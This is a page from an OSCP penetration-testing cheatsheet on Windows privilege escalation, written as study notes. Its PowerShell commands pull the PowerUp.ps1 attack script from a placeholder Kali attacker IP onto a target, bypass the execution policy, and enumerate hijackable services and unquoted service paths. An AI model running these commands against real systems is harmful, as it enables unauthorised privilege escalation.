OSCP Cheatsheet
  • Reference List
  • Basic
  • Methodology
    • Basic Scans
    • Service Enumeration
      • TCP: HTTP(S) - 80 / 443
      • TCP: SMB - 139 / 445
      • TCP: FTP - 21
      • TCP/UDP: DNS - 53
      • TCP: SSH - 22
      • TCP/UDP: LDAP - 389 / 636 / 3268
      • TCP/UDP: Kerberos - 88
      • UDP: SNMP - 161
      • TCP: SMTP - 25
      • TCP: RDP - 3389
      • TCP: RPC - 135 / 593
      • TCP: Evil-WinRM - 5985 / 5986
      • TCP: MYSQL - 3306
      • TCP: MSSQL - 1433
      • TCP: Confluence - 8090
    • Extras
  • File Transfer
  • KeePass Database
  • Shells
  • Enumeration
    • Linux
    • Windows
    • Git
  • Privilege Escalation
    • Linux
      • Abusing Cron Jobs
      • Abusing Password Authentication
      • Abusing Setuid Binaries and Capabilities
      • Abusing Sudo
      • Exploits
    • Windows
      • Service Binary Hijacking
      • DLL Hijacking
      • Unquoted Service Paths
      • Scheduled Tasks
      • Exploits
  • Port Forwarding
    • Linux
    • Windows
  • Attacks
    • Public Exploits
    • User Creation
    • Password Cracking
      • Custom Rules
      • Custom Password List
    • Phishing
    • SQLi
  • Active Directory
    • Enumeration
    • Attack
    • Lateral Movement
    • Persistence
Powered by GitBook
On this page
  • Enumeration
  • Service Binary Hijacking
  • DLL Hijacking
  • Unquoted Service Paths
  • Privilege Escalation Methods
  1. Privilege Escalation

Windows

Enumeration

Import the PowerUp.ps1 from Kali to target machine

iwr -uri http://<Kali IP Address>/PowerUp.ps1 -Outfile PowerUp.ps1

Override system's execution policy

powershell -ep bypass

Import the functions from PowerUp.ps1

. .\PowerUp.ps1

Service Binary Hijacking

Enumerate a list of modifiable service binary files

Get-ModifiableServiceFile

DLL Hijacking

Procmon

Unquoted Service Paths

Enumerate a list of unquoted service paths

Get-UnquotedService

Privilege Escalation Methods

PreviousExploitsNextService Binary Hijacking

Last updated 23 days ago

Service Binary Hijacking
DLL Hijacking
Unquoted Service Paths
Scheduled Tasks
Exploits